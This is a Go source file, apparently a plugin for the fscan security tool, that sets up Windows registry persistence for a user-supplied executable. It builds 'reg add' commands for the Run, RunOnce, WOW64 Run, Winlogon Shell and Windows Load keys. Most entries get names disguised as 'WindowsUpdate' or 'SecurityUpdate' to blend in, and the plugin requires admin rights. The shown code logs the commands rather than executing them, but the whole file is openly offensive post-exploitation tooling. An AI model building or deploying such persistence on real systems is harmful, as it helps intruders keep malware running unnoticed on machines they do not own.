//go:build windows

package winregistry

import (
	"context"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// WinRegistryPlugin Windows注册表持久化插件 - 使用简化架构
type WinRegistryPlugin struct {
	*local.BaseLocalPlugin
	pePath string
}

// NewWinRegistryPlugin 创建Windows注册表持久化插件 - 简化版本
func NewWinRegistryPlugin() *WinRegistryPlugin {
	// 从全局参数获取PE文件路径
	peFile := common.WinPEFile
	if peFile == "" {
		peFile = "" // 需要用户指定
	}

	metadata := &base.PluginMetadata{
		Name:        "winregistry",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Windows注册表持久化插件，通过注册表Run键等实现持久化",
		Category:    "local",
		Tags:        []string{"local", "persistence", "windows", "registry"},
		Protocols:   []string{"local"},
	}

	plugin := &WinRegistryPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
		pePath:          peFile,
	}

	// 只支持Windows平台
	plugin.SetPlatformSupport([]string{"windows"})
	// 需要管理员权限修改注册表
	plugin.SetRequiresPrivileges(true)

	return plugin
}

// Initialize 初始化插件
func (p *WinRegistryPlugin) Initialize() error {
	if p.pePath == "" {
		return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
	}
	
	// 检查目标文件是否存在
	if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
		return fmt.Errorf("PE文件不存在: %s", p.pePath)
	}
	
	// 检查文件类型
	if !p.isValidPEFile(p.pePath) {
		return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
	}
	
	return p.BaseLocalPlugin.Initialize()
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行Windows注册表持久化 - 简化版本
func (p *WinRegistryPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	common.LogBase("开始Windows注册表持久化...")
	
	registryKeys, err := p.createRegistryPersistence(p.pePath)
	if err != nil {
		return &base.ScanResult{
			Success: false,
			Error:   err,
		}, nil
	}

	common.LogInfo(fmt.Sprintf("创建了%d个注册表持久化项:", len(registryKeys)))
	for i, key := range registryKeys {
		common.LogInfo(fmt.Sprintf("%d. %s", i+1, key))
	}
	
	result := &base.ScanResult{
		Success: true,
		Service: "WinRegistry",
		Banner:  fmt.Sprintf("Windows注册表持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
		Extra: map[string]interface{}{
			"pe_file":           p.pePath,
			"persistence_type":  "registry",
			"entries_created":   len(registryKeys),
			"registry_methods":  registryKeys,
		},
	}
	
	return result, nil
}

func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) {
	absPath, err := filepath.Abs(pePath)
	if err != nil {
		return nil, fmt.Errorf("failed to get absolute path: %v", err)
	}

	var registryEntries []string
	baseName := filepath.Base(absPath)
	baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]

	registryKeys := []struct {
		hive     string
		key      string
		valueName string
		description string
	}{
		{
			hive:     "HKEY_CURRENT_USER",
			key:      `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
			valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt),
			description: "Current User Run Key",
		},
		{
			hive:     "HKEY_LOCAL_MACHINE",
			key:      `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
			valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
			description: "Local Machine Run Key",
		},
		{
			hive:     "HKEY_CURRENT_USER",
			key:      `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`,
			valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt),
			description: "Current User RunOnce Key",
		},
		{
			hive:     "HKEY_LOCAL_MACHINE",
			key:      `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`,
			valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt),
			description: "WOW64 Run Key",
		},
		{
			hive:     "HKEY_LOCAL_MACHINE",
			key:      `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`,
			valueName: "Shell",
			description: "Winlogon Shell Override",
		},
		{
			hive:     "HKEY_CURRENT_USER",
			key:      `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`,
			valueName: "Load",
			description: "Windows Load Key",
		},
	}

	for _, regKey := range registryKeys {
		var regCommand string
		var value string

		if regKey.valueName == "Shell" {
			value = fmt.Sprintf("explorer.exe,%s", absPath)
		} else if regKey.valueName == "Load" {
			value = absPath
		} else {
			value = fmt.Sprintf(`"%s"`, absPath)
		}

		regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`,
			regKey.hive, regKey.key, regKey.valueName, value)

		registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand))
	}

	return registryEntries, nil
}

// isValidPEFile 检查是否为有效的PE文件
func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool {
	ext := strings.ToLower(filepath.Ext(filePath))
	return ext == ".exe" || ext == ".dll"
}

// GetLocalData 获取Windows注册表持久化本地数据
func (p *WinRegistryPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
	data := make(map[string]interface{})
	
	data["plugin_type"] = "winregistry"
	data["platform"] = runtime.GOOS
	data["pe_file"] = p.pePath
	data["persistence_method"] = "Windows Registry"
	
	if hostname, err := os.Hostname(); err == nil {
		data["hostname"] = hostname
	}
	
	return data, nil
}

// ExtractData 提取数据
func (p *WinRegistryPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
	return &base.ExploitResult{
		Success: true,
		Output:  fmt.Sprintf("Windows注册表持久化完成，PE文件: %s", p.pePath),
		Data:    data,
		Extra: map[string]interface{}{
			"pe_file":            p.pePath,
			"persistence_method": "Windows Registry",
			"status":            "completed",
		},
	}, nil
}

// GetInfo 获取插件信息
func (p *WinRegistryPlugin) GetInfo() string {
	var info strings.Builder
	
	info.WriteString("Windows注册表持久化插件\n")
	info.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath))
	info.WriteString("支持平台: Windows\n")
	info.WriteString("功能: 通过注册表Run键等实现持久化\n")
	info.WriteString("方法: HKCU/HKLM Run键、RunOnce键、Winlogon Shell等\n")
	info.WriteString("要求: PE文件(.exe/.dll)，管理员权限\n")
	
	return info.String()
}

// RegisterWinRegistryPlugin 注册Windows注册表持久化插件
func RegisterWinRegistryPlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "winregistry",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "Windows注册表持久化插件，通过注册表Run键等实现持久化",
			Category:    "local",
			Tags:        []string{"winregistry", "local", "persistence", "windows"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewWinRegistryPlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("winregistry", factory)
}

// init 插件注册函数
func init() {
	RegisterWinRegistryPlugin()
}